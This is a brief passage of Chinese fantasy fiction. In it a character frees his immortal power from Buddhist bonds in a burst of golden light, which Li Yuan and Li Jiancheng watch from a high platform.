他尝试着以双手一扬,左手翻,右手拢,作太极之势,掌中出现了一枚温和的光球,一身仙力,终于挣脱了佛门的束缚。 那一夜,顷刻间只见一道金光冲开窗门,射向天际! 李渊在高台上负手而立,身边跟着李建成,二人同时看到了那道破开夜空的闪光,闪光中隐约有至圣金芒,只是短短一刹那,便消失在东方的群山尽头。